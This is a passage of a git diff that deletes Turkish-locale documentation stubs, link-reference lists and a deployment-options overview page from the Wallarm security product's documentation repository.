../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[inline-docs]: ../inline/overview.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md -[aws-ami-traffic-flow]: ../../images/waf-installation/aws/aws-ami-flow.png -[img-security-group]: ../../images/aws-ami/security-group.png -[latest-node-version]: ../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[aws-costs]: ../../installation/cloud-platforms/aws/costs.md -[nginx-native-node]: ../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../admin-en/configure-logging.md -[log-level]: ../../installation/native-node/all-in-one-conf.md#loglevel - - ---8<-- "latest-tr/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/tr/installation/packages/gcp-machine-image.md b/docs/tr/installation/packages/gcp-machine-image.md deleted file mode 100644 index ce9ea1fb9e..0000000000 --- a/docs/tr/installation/packages/gcp-machine-image.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[inline-docs]: ../inline/overview.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "latest-tr/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/free-tier.md b/docs/tr/installation/security-edge/free-tier.md deleted file mode 100644 index b418fe348c..0000000000 --- a/docs/tr/installation/security-edge/free-tier.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/free-tier.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/access-control-lists.md b/docs/tr/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index c59a635244..0000000000 --- a/docs/tr/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/cache-rules.md b/docs/tr/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index 3ced75b7ab..0000000000 --- a/docs/tr/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/custom-block-page.md b/docs/tr/installation/security-edge/inline/custom-block-page.md deleted file mode 100644 index 89ec12100c..0000000000 --- a/docs/tr/installation/security-edge/inline/custom-block-page.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/custom-block-page.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/deployment.md b/docs/tr/installation/security-edge/inline/deployment.md deleted file mode 100644 index 15375a6a0e..0000000000 --- a/docs/tr/installation/security-edge/inline/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/host-redirection.md b/docs/tr/installation/security-edge/inline/host-redirection.md deleted file mode 100644 index 2898c13f09..0000000000 --- a/docs/tr/installation/security-edge/inline/host-redirection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/host-redirection.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/mtls.md b/docs/tr/installation/security-edge/inline/mtls.md deleted file mode 100644 index 8ee81a5968..0000000000 --- a/docs/tr/installation/security-edge/inline/mtls.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/mtls.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/multi-region.md b/docs/tr/installation/security-edge/inline/multi-region.md deleted file mode 100644 index 2e13b467aa..0000000000 --- a/docs/tr/installation/security-edge/inline/multi-region.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/multi-region.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/nginx-overrides.md b/docs/tr/installation/security-edge/inline/nginx-overrides.md deleted file mode 100644 index 7de607bc20..0000000000 --- a/docs/tr/installation/security-edge/inline/nginx-overrides.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/nginx-overrides.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/overview.md b/docs/tr/installation/security-edge/inline/overview.md deleted file mode 100644 index feb139e5d5..0000000000 --- a/docs/tr/installation/security-edge/inline/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index 6241365b76..0000000000 --- a/docs/tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index acdabb9c7c..0000000000 --- a/docs/tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/telemetry-portal.md b/docs/tr/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 1d109e660b..0000000000 --- a/docs/tr/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/inline/upgrade-and-management.md b/docs/tr/installation/security-edge/inline/upgrade-and-management.md deleted file mode 100644 index 0a85b4eca5..0000000000 --- a/docs/tr/installation/security-edge/inline/upgrade-and-management.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/inline/upgrade-and-management.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/overview.md b/docs/tr/installation/security-edge/overview.md deleted file mode 100644 index 34032a4654..0000000000 --- a/docs/tr/installation/security-edge/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/security-edge/se-connector.md b/docs/tr/installation/security-edge/se-connector.md deleted file mode 100644 index c3b30459ff..0000000000 --- a/docs/tr/installation/security-edge/se-connector.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/security-edge/se-connector.md" \ No newline at end of file diff --git a/docs/tr/installation/supported-deployment-options.md b/docs/tr/installation/supported-deployment-options.md deleted file mode 100644 index 4820557e7e..0000000000 --- a/docs/tr/installation/supported-deployment-options.md +++ /dev/null @@ -1,365 +0,0 @@ -# Self-Hosted Deployment Options - -In a self-hosted deployment, you are responsible for installing and operating the **[Wallarm Node](../about-wallarm/overview.md#filtering-node) within your infrastructure** - on Kubernetes clusters, virtual machines, or cloud environments. This gives you full control over configuration, networking, and scaling. - -Wallarm supports many deployment options enabling you to seamlessly integrate the platform with your environment. Learn the options and choose the most appropriate one from this document. - - - -## Kubernetes - -
              -
              - - -

              NGINX Ingress Controller

              -

              Deploy the NGINX Ingress Controller with integrated Wallarm services

              -               - - - -

              eBPF

              -

              Out-of-band deployment on Kubernetes using the eBPF technology

              -               -
              -
              - -## Public clouds - -
              -
              -
              - -

              Amazon Web Services

              -

              Artifacts for Wallarm deployment on AWS

              -
              - -
              - -

              Google Cloud

              -

              Artifacts for Wallarm deployment on GCP

              -
              - -
              - -

              Microsoft Azure

              -

              Artifacts for Wallarm deployment on Microsoft Azure

              -
              - -
              - -

              Alibaba Cloud

              -

              Artifacts for Wallarm deployment on Alibaba Cloud

              -
              - - - -

              Heroku

              -

              Build a Wallarm Docker image and run it on Heroku

              -               -
              - -
              -
              - -

              Amazon Web Services

              -

              Artifacts for Wallarm deployment on AWS

              -
              - - -

              AMI

              -

              Use the official Amazon Machine Image to deploy Wallarm

              -               - - -

              ECS

              -

              Use the Docker image to deploy Wallarm with Elastic Container Service

              -               - -
              -

              Terraform module

              -

              Use the Terraform module for Wallarm deployment

              -
              -
              - -
              -
              - -

              Terraform module

              -

              Use the Terraform module for Wallarm deployment on AWS

              -
              - - -

              Proxy in AWS VPC

              -

              Wallarm as proxy in AWS Virtual Private Cloud

              -               - - -

              Proxy for Amazon API Gateway

              -

              Wallarm as proxy for Amazon API Gateway protection

              -               -
              - -
              -
              - -

              Google Cloud

              -

              Artifacts for Wallarm deployment on GCP

              -
              - - -

              Machine Image

              -

              Use the official Google Cloud Machine Image to deploy Wallarm

              -               - - -

              GCE

              -

              Use the Docker image to deploy Wallarm with Google Compute Engine

              -               -
              - -
              -
              - -

              Microsoft Azure

              -

              Artifacts for Wallarm deployment on Microsoft Azure

              -
              - - -

              Azure Container Instances

              -

              Use the Docker image to deploy Wallarm with Azure Container Instances

              -               -
              - -
              -
              - -

              Alibaba Cloud

              -

              Artifacts for Wallarm deployment on Alibaba Cloud

              -
              - - -

              ECS

              -

              Use the Docker image to deploy Wallarm with Elastic Compute Service

              -               -
              -
              - - -## API gateways - -Choose an API gateway connector if traffic already flows through a gateway and you want to add protection alongside it. - -
              -
              - - -

              Broadcom Layer7 API Gateways

              -

              Secure APIs managed with Layer7 API Gateways

              -               - - - -

              Kong API Gateway

              -

              Deploy Wallarm to secure APIs managed by Kong API Gateway

              -               -
              -
              - -## CDN - -Choose a CDN or edge integration if your traffic is fronted by a CDN and you want protection at the edge. - -
              -
              - - -

              Akamai EdgeWorkers

              -

              Secure APIs running on Akamai EdgeWorkers

              -               - - - -

              CloudFront

              -

              Deploy Wallarm to secure traffic delivered through Amazon CloudFront

              -               - - - -

              Azion Edge

              -

              Secure APIs running on Azion Edge

              -               - - - -

              Cloudflare

              -

              Deploy Wallarm to secure traffic running via Cloudflare

              -               - - - -

              Fastly

              -

              Deploy Wallarm to secure APIs running on Fastly

              -               -
              -
              - -## API management platform - -Choose an API management connector if you expose APIs through one of these platforms and want to add security without changing it. - -
              -
              - - -

              MuleSoft

              -

              Deploy Wallarm to secure APIs managed by MuleSoft

              -               - - - -

              IBM API Connect

              -

              Deploy Wallarm to secure APIs managed through IBM API Connect

              -               -
              -
              - -## Packages & containers - -Choose packages or containers if you run on VMs or bare metal and prefer them over managed options. - -
              -
              - -
              - -

              NGINX Node

              -

              Node for infrastructures that rely on NGINX

              -
              - -
              - -

              Native Node

              -

              Self-hosted node for connectors or TCP traffic

              -
              - -
              - -
              - -
              - -

              NGINX Node

              -

              Node for infrastructures that rely on NGINX

              -
              - - - -

              All-in-one installer

              -

              Let Wallarm detect your OS and NGINX version to install the appropriate modules

              -               - - - -

              Docker image (NGINX)

              -

              Use the NGINX-based Docker image for Wallarm deployment

              -               - -
              - -

              Cloud images

              -

              Machine Images to deploy Wallarm on public clouds

              -
              - - - -

              Terraform module

              -

              Use the Terraform module for Wallarm deployment on AWS

              -               -
              - -
              -
              - -

              Cloud images

              -

              Machine Images to deploy Wallarm on public clouds

              -
              - - -

              AWS AMI

              -

              Use the official Machine Image to deploy Wallarm on AWS

              -               - - -

              GCP Machine image

              -

              Use the official Machine Image to deploy Wallarm on Google Cloud

              -               -
              - -
              - -
              - -

              Native Node

              -

              Self-hosted node for connectors or TCP traffic

              -
              - - - -

              All-in-one installer

              -

              Run the Native Node on a virtual machine on Linux

              -               - - - -

              Helm chart

              -

              Run the Native Node in an infrastructure utilizing K8s

              -               - - - -

              Docker image

              -

              Run the Native Node in a containerized environment using Docker

              -               -
              - - -
              - -## Special setups - -Deployment options that don't follow the platform matrix: known scenarios (multi-tenant, separate postanalytics, custom NGINX) and custom requests when nothing above fits. - -
              -
              - -

              Multi-tenant Node deployment

              -

              Run Nodes for multiple tenants with per-account data and access isolation, ideal for SaaS and MSPs

              -               - - -

              Separate postanalytics

              -

              Deploy postanalytics on a dedicated host to scale independently and offload the Filtering Node

              -               - - -

              Custom NGINX version

              -

              Use Wallarm with a custom NGINX build when standard packages do not match your stack

              -               - - - -

              Request custom deployment

              -

              Need something else? Request a custom deployment or integration

              -               -
              -
              - -## Related documentation - -* [Inline traffic flow](inline/overview.md) -* [Out-of-band traffic flow](oob/overview.md) -* [NGINX and Native Node overview](nginx-native-node-internals.md) -* [Connector overview](connectors/overview.md) - - diff --git a/docs/tr/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/tr/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index ef9c7f6b69..0000000000 --- a/docs/tr/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/integrations-devsecops/generate-sbom-for-docker-images.md" \ No newline at end of file diff --git a/docs/tr/integrations-devsecops/verify-docker-image-signature.md b/docs/tr/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index bf03bbdd5e..0000000000 --- a/docs/tr/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/integrations-devsecops/verify-docker-image-signature.md" \ No newline at end of file diff --git a/docs/tr/maintenance/overview.md b/docs/tr/maintenance/overview.md deleted file mode 100644 index 0c81f9d048..0000000000 --- a/docs/tr/maintenance/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/maintenance/overview.md" \ No newline at end of file diff --git a/docs/tr/quickstart/attack-prevention-best-practices.md b/docs/tr/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index cfcde538e4..0000000000 --- a/docs/tr/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/quickstart/attack-prevention-best-practices.md" \ No newline at end of file diff --git a/docs/tr/quickstart/getting-started.md b/docs/tr/quickstart/getting-started.md deleted file mode 100644 index 7e8ea377bb..0000000000 --- a/docs/tr/quickstart/getting-started.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/quickstart/getting-started.md" \ No newline at end of file diff --git a/docs/tr/reference/comparing-wallarm-to-other-solutions.md b/docs/tr/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index 71380221e2..0000000000 --- a/docs/tr/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/tr/robots.txt b/docs/tr/robots.txt deleted file mode 100644 index 5090581163..0000000000 --- a/docs/tr/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Content-Signal: ai-train=yes, search=yes, ai-input=no \ No newline at end of file diff --git a/docs/tr/sla.md b/docs/tr/sla.md deleted file mode 100644 index 159bf3ad51..0000000000 --- a/docs/tr/sla.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/sla.md" \ No newline at end of file diff --git a/docs/tr/troubleshooting/detection-and-blocking.md b/docs/tr/troubleshooting/detection-and-blocking.md deleted file mode 100644 index 63c9c860b3..0000000000 --- a/docs/tr/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/troubleshooting/detection-and-blocking.md" \ No newline at end of file diff --git a/docs/tr/troubleshooting/detection-tools-tuning.md b/docs/tr/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 252c4d3ec5..0000000000 --- a/docs/tr/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/tr/troubleshooting/overview.md b/docs/tr/troubleshooting/overview.md deleted file mode 100644 index 065e364611..0000000000 --- a/docs/tr/troubleshooting/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/troubleshooting/overview.md" \ No newline at end of file diff --git a/docs/tr/troubleshooting/performance.md b/docs/tr/troubleshooting/performance.md deleted file mode 100644 index 5e73579d65..0000000000 --- a/docs/tr/troubleshooting/performance.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/troubleshooting/performance.md" \ No newline at end of file diff --git a/docs/tr/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/tr/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index 8620abdc64..0000000000 --- a/docs/tr/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/all-in-one.md b/docs/tr/updating-migrating/all-in-one.md deleted file mode 100644 index 2224a905e6..0000000000 --- a/docs/tr/updating-migrating/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/all-in-one.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/cloud-image.md b/docs/tr/updating-migrating/cloud-image.md deleted file mode 100644 index 80c00be8d7..0000000000 --- a/docs/tr/updating-migrating/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/cloud-image.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/docker-container.md b/docs/tr/updating-migrating/docker-container.md deleted file mode 100644 index 416896ff65..0000000000 --- a/docs/tr/updating-migrating/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/docker-container.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/general-recommendations.md b/docs/tr/updating-migrating/general-recommendations.md deleted file mode 100644 index c0853f0bfc..0000000000 --- a/docs/tr/updating-migrating/general-recommendations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/general-recommendations.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/ingress-controller.md b/docs/tr/updating-migrating/ingress-controller.md deleted file mode 100644 index f81bfe3f6b..0000000000 --- a/docs/tr/updating-migrating/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/ingress-controller.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/tr/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 67e31f8477..0000000000 --- a/docs/tr/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/migrate-ip-lists-to-node-3.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/multi-tenant.md b/docs/tr/updating-migrating/multi-tenant.md deleted file mode 100644 index 3b45360f30..0000000000 --- a/docs/tr/updating-migrating/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/multi-tenant.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/native-node/all-in-one.md b/docs/tr/updating-migrating/native-node/all-in-one.md deleted file mode 100644 index 02781185ca..0000000000 --- a/docs/tr/updating-migrating/native-node/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/native-node/all-in-one.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/native-node/docker-image.md b/docs/tr/updating-migrating/native-node/docker-image.md deleted file mode 100644 index de62a0d3e2..0000000000 --- a/docs/tr/updating-migrating/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/native-node/helm-chart.md b/docs/tr/updating-migrating/native-node/helm-chart.md deleted file mode 100644 index 10ad6ba45e..0000000000 --- a/docs/tr/updating-migrating/native-node/helm-chart.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/native-node/helm-chart.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/native-node/node-artifact-versions.md b/docs/tr/updating-migrating/native-node/node-artifact-versions.md deleted file mode 100644 index 4958390632..0000000000 --- a/docs/tr/updating-migrating/native-node/node-artifact-versions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/native-node/node-artifact-versions.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/nginx-ingress-retirement.md b/docs/tr/updating-migrating/nginx-ingress-retirement.md deleted file mode 100644 index 1bc595d1dc..0000000000 --- a/docs/tr/updating-migrating/nginx-ingress-retirement.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/updating-migrating/nginx-ingress-retirement.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/nginx-modules.md b/docs/tr/updating-migrating/nginx-modules.md deleted file mode 100644 index b59cd6399a..0000000000 --- a/docs/tr/updating-migrating/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/nginx-modules.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/node-artifact-versions.md b/docs/tr/updating-migrating/node-artifact-versions.md deleted file mode 100644 index bb19bbc115..0000000000 --- a/docs/tr/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/node-artifact-versions.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/cloud-image.md b/docs/tr/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index 7f00f5c897..0000000000 --- a/docs/tr/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/cloud-image.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/docker-container.md b/docs/tr/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index a8177dd235..0000000000 --- a/docs/tr/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/docker-container.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/ingress-controller.md b/docs/tr/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index 79ad62e085..0000000000 --- a/docs/tr/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/ingress-controller.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/multi-tenant.md b/docs/tr/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index 534c0e66c7..0000000000 --- a/docs/tr/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/multi-tenant.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/nginx-modules.md b/docs/tr/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index f2e40c5f67..0000000000 --- a/docs/tr/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/nginx-modules.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/separate-postanalytics.md b/docs/tr/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index 90d9edf3f0..0000000000 --- a/docs/tr/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/older-versions/what-is-new.md b/docs/tr/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index a60dd73b12..0000000000 --- a/docs/tr/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/older-versions/what-is-new.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/separate-postanalytics.md b/docs/tr/updating-migrating/separate-postanalytics.md deleted file mode 100644 index 58baa6dab1..0000000000 --- a/docs/tr/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/sidecar-proxy.md b/docs/tr/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 7cea10df6c..0000000000 --- a/docs/tr/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/sidecar-proxy.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/versioning-policy.md b/docs/tr/updating-migrating/versioning-policy.md deleted file mode 100644 index 7f38ab7cc2..0000000000 --- a/docs/tr/updating-migrating/versioning-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/versioning-policy.md" \ No newline at end of file diff --git a/docs/tr/updating-migrating/what-is-new.md b/docs/tr/updating-migrating/what-is-new.md deleted file mode 100644 index 984fb578ed..0000000000 --- a/docs/tr/updating-migrating/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/updating-migrating/what-is-new.md" \ No newline at end of file diff --git a/docs/tr/user-guides/dashboards/api-discovery.md b/docs/tr/user-guides/dashboards/api-discovery.md deleted file mode 100644 index dda73d093a..0000000000 --- a/docs/tr/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/user-guides/dashboards/api-discovery.md" \ No newline at end of file diff --git a/docs/tr/user-guides/dashboards/bi-dashboards.md b/docs/tr/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index e95cc7e020..0000000000 --- a/docs/tr/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/tr/user-guides/dashboards/owasp-api-top-ten.md b/docs/tr/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index 7747330976..0000000000 --- a/docs/tr/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/dashboards/owasp-api-top-ten.md" \ No newline at end of file diff --git a/docs/tr/user-guides/dashboards/threat-prevention.md b/docs/tr/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index 97dd3975e4..0000000000 --- a/docs/tr/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/dashboards/threat-prevention.md" \ No newline at end of file diff --git a/docs/tr/user-guides/events/check-attack.md b/docs/tr/user-guides/events/check-attack.md deleted file mode 100644 index f57d61968b..0000000000 --- a/docs/tr/user-guides/events/check-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- 